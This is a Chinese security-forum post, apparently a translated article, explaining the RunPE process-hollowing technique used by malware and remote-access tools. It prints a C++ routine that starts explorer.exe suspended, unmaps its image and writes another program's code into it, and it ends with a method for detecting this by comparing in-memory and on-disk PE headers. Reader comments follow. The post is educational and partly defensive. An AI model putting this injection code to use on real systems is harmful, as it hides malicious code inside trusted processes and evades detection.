用户
搜索
  • TA的每日心情
    慵懒
    昨天 09:17
  • 签到天数: 61 天

    连续签到: 11 天

    [LV.6]常住居民II

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    14

    主题

    39

    帖子

    787

    魔法币
    收听
    0
    粉丝
    0
    注册时间
    2015-11-20

    i春秋签约作者

    发表于 7 天前 76388
    本帖最后由 jishuzhain 于 2017-11-13 12:38 编辑

    使用恶意软件将隐藏代码注入已知进程的攻击研究

    介绍

    免责声明:这不是一个制作恶意软件的教程,而只是一个以教育为目的的实际案例。尽管如此,这也是几十年来在其他网站上不断讨论的话题。

    阅读本文需要的基础(C++,windowsPE文件结构,二进制知识更佳)

    对于恶意软件编写者来说,隐藏一个进程一直是一个挑战,他们对此发现了很多方法。我现在讲述的这个技巧是非常基本的,虽然写起来很简单,但是却不能一直工作下去。这个技巧叫做“RunPE”,在恶意软件行业,特别是RAT(远程管理工具)中已经使用了很多次。

    基本上,当一个恶意软件启动时,它会在Windows进程中挑选一个受害者(如explorer.exe),(如果有童鞋使用过metasploit中的进程注入攻击,这应该并不陌生吧)并启动一个新的实例,它处于挂起状态。在这种状态下,进行修改是安全的,恶意软件将完全从代码中清除它,如果需要的话会扩展进内存,并在其中复制自己的代码。

    然后,恶意软件会做一些变化来调整入口地址以及基地址,并将恢复其进程。恢复后,该进程显示正在从一个文件(explorer.exe)开始,这会没有显示它做了什么,但它实际上已经做了。

    RunPE:代码

    void RunPe( wstring const& target, wstring const& source )
    {
        Pe src_pe( source );        // Parse source PE structure
        if ( src_pe.isvalid )
        {        
            Process::CreationResults res = Process::CreateWithFlags( target, L"", CREATE_SUSPENDED, false, false ); // Start a suspended instance of target
            if ( res.success )
            {
                PCONTEXT CTX = PCONTEXT( VirtualAlloc( NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE ) );   // Allocate space for context
                CTX->ContextFlags = CONTEXT_FULL;
    
                if ( GetThreadContext( res.hThread, LPCONTEXT( CTX ) ) )    // Read target context
                {
                    DWORD dwImageBase;
                    ReadProcessMemory( res.hProcess, LPCVOID( CTX->Ebx + 8 ), LPVOID( &dwImageBase ), 4, NULL );        // Get base address of target
    
                    typedef LONG( WINAPI * NtUnmapViewOfSection )(HANDLE ProcessHandle, PVOID BaseAddress);
                    NtUnmapViewOfSection xNtUnmapViewOfSection;
                    xNtUnmapViewOfSection = NtUnmapViewOfSection(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection"));
                    if ( 0 == xNtUnmapViewOfSection( res.hProcess, PVOID( dwImageBase ) ) )  // Unmap target code
                    {
                        LPVOID pImageBase = VirtualAllocEx(res.hProcess, LPVOID(dwImageBase), src_pe.NtHeadersx86.OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);  // Realloc for source code
                        if ( pImageBase )
                        {
                            Buffer src_headers( src_pe.NtHeadersx86.OptionalHeader.SizeOfHeaders );                 // Read source headers
                            PVOID src_headers_ptr = src_pe.GetPointer( 0 );
                            if ( src_pe.ReadMemory( src_headers.Data(), src_headers_ptr, src_headers.Size() ) )
                            {
                                if ( WriteProcessMemory(res.hProcess, pImageBase, src_headers.Data(), src_headers.Size(), NULL) )   // Write source headers
                                {
                                    bool success = true;
                                    for (u_int i = 0; i < src_pe.sections.size(); i++)     // Write all sections
                                    {
                                        // Get pointer on section and copy the content
                                        Buffer src_section( src_pe.sections.at( i ).SizeOfRawData );
                                        LPVOID src_section_ptr = src_pe.GetPointer( src_pe.sections.at( i ).PointerToRawData );
                                        success &= src_pe.ReadMemory( src_section.Data(), src_section_ptr, src_section.Size() );                                    
    
                                        // Write content to target
                                        success &= WriteProcessMemory(res.hProcess, LPVOID(DWORD(pImageBase) + src_pe.sections.at( i ).VirtualAddress), src_section.Data(), src_section.Size(), NULL);
                                    }
    
                                    if ( success )
                                    {
                                        WriteProcessMemory( res.hProcess, LPVOID( CTX->Ebx + 8 ), LPVOID( &pImageBase), sizeof(LPVOID), NULL );      // Rewrite image base
                                        CTX->Eax = DWORD( pImageBase ) + src_pe.NtHeadersx86.OptionalHeader.AddressOfEntryPoint;        // Rewrite entry point
                                        SetThreadContext( res.hThread, LPCONTEXT( CTX ) );                                              // Set thread context
                                        ResumeThread( res.hThread );                                                                    // Resume main thread
                                    }                               
                                }
                            }                       
                        }
                    }
                }
    
                if ( res.hProcess) CloseHandle( res.hProcess );
                if ( res.hThread ) CloseHandle( res.hThread );
            }
        }
    }
    ...
    RunPe( L"C:\\windows\\explorer.exe", L"C:\\windows\\system32\\calc.exe" );

    (源代码是能自我解释的,但是我选择让它与我们的底层库(Pe,Process,...)紧密联系在一起,以便代码不会脱离盒子(避免脚本小子使用它来做坏事)。然而,我建议工程师能理解逻辑并重新创建二进制文件。自己的翻译)

    源代码是能自我解释的,这段代码想表达的意思应该是不言而喻的(意思就是光字面上来看S_B也看的懂),不管怎样我把他们用底层库封装起来(pe.process..代码里也只看到类没看到实现代码),这样如果没有这些底层库这些代码就不能够运行(废话,lib都不提供我拿什么编译),以防止一些中二病大黑客用这些代码到处搞事情,不过,一个资深的码农老司机应该很容易看得懂代码中的逻辑关系并且(依照当中的意思)自己码出能用的二进制程序。

    主程序将以explorer.exe为目标,以calc.exe为源码调用RunPe函数。这将导致运行calc.exe代码到explorer.exe的表面。

    该RunPe功能将简单地处于中止状态的explorer.exe创建,除去属于该模块的部分与NtUnmapViewOfSection。然后,它将分配更多的内存与前面未映射的部分相同的首选地址来承载目标(calc.exe)的代码。

    该代码(标题+部分)复制到新分配的部分,我们调整内存映像基址+入口点地址以匹配新的偏移量(explorer.exe的基址可能会不同)。完成后,主线程恢复。

    RunPE:结果

    在创建后暂停

    在explorer.exe中的部分区域未被映射后

    在新的部分区域被分配后

    在calc.exe代码被写入后

    Process Hacker软件在explorer.exe中显示Calc caption窗口

    calc.exe字符串出现在explorer.exe部分

    RunPE:检测

    这个技巧很简单,检测也很简单。我们可以假设(除了.NET程序集)PE头将在内存和进程的磁盘镜像中99%相同。

    知道了这个后,我们可以在每个进程中比较磁盘上文件的PE头和内存中的映像。如果分歧太大,我们可以放心地认定这个过程是被劫持的。

    图为RunPE的检测

    链接
    https://blackc0.de/2014/06/defeating-runpe-malware-packer/
    http://menalix.com/?tag=runpe-in​​jection
    http://www.autosectools.com/process-hollowing.pdf
    https://www.phrozensoft.com/2015/05/runpe-detector-1
    https://www.adlice.com/runpe-hide-code-behind-legit-process/

    厉害了 棒棒的
    使用道具 举报 回复
    本帖最后由 immenma 于 2017-11-13 11:50 编辑

    有些地方翻译的不是很准确,打个比方:
    The source code is self explaining, however I chose to let it strongly tied to our underlying library (Pe, Process, …) so that the code will not work out of the box (to avoid script kiddies using it for bad things). An advised engineer will be however able to understand the logic and recreate the binary.
    The source code is self explaining self-explaining应该翻译为不言而喻
    however 在这里应该翻译为不管怎样
    will be however 这里可以翻译为不过
    因此这段话应该这样翻译
    这段代码想表达的意思应该是不言而喻的(意思就是光字面上来看S_B也看的懂),不管怎样我把他们用底层库封装起来(pe.process..代码里也只看到类没看到实现代码),这样如果没有这些底层库这些代码就不能够运行(废话,lib都不提供我拿什么编译),以防止一些中二病大黑客用这些代码到处搞事情,不过,一个资深的码农老司机应该很容易看得懂代码中的逻辑关系并且(依照当中的意思)自己码出能用的二进制程序.

    另外就是一些专业术语,比如 image 这个肯定不是翻译为图像,应该翻译为内存映像(二进制从文件中映射到virtual address)

    简单来说,这篇文章基本讲的是&quot;傀儡进程&quot;的实现
    使用道具 举报 回复
    immenma 发表于 2017-11-13 11:41
    有些地方翻译的不是很准确,打个比方:
    The source code is self explaining, however I chose to let it str ...

    终于有人回复我了,有反馈才是好事,我马上修改,谢谢你的分享。
    使用道具 举报 回复
    发表于 3 天前
    表姐都发话了 ,我也来凑个热闹,虽说看不懂,但感谢你的分享,希望一日让我豁然开朗,坚持自己的信念不要放弃,他就会陪你到天荒地老
    蜂巢网安  屌丝绅士
    做自己的自己 和平年代的炮灰,战争年代的爆破鬼才
    使用道具 举报 回复
    发表于 3 天前
    另外  我想起了  kali中的 shellter工具,将后门注入到程序中,但很显然,他只能注入一些简单的程序,有时候我在想 我深挖的kali到底是国外最强还是国人心里夸大了,也许是自己的境界不够,视野也没有那么宽广,每个人有自己的思想,做自己的路线,咳咳  说多了,,,多哔哔了两句
    做自己的自己 和平年代的炮灰,战争年代的爆破鬼才
    使用道具 举报 回复
    发表于 3 天前
    另外  好,很好非常好,,,
    做自己的自己 和平年代的炮灰,战争年代的爆破鬼才
    使用道具 举报 回复
    屌丝绅士 发表于 2017-11-15 12:50
    表姐都发话了 ,我也来凑个热闹,虽说看不懂,但感谢你的分享,希望一日让我豁然开朗,坚持自己的信念不要 ...

    我喜欢这句话,
    坚持自己的信念不要放弃,他就会陪你到天荒地老
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册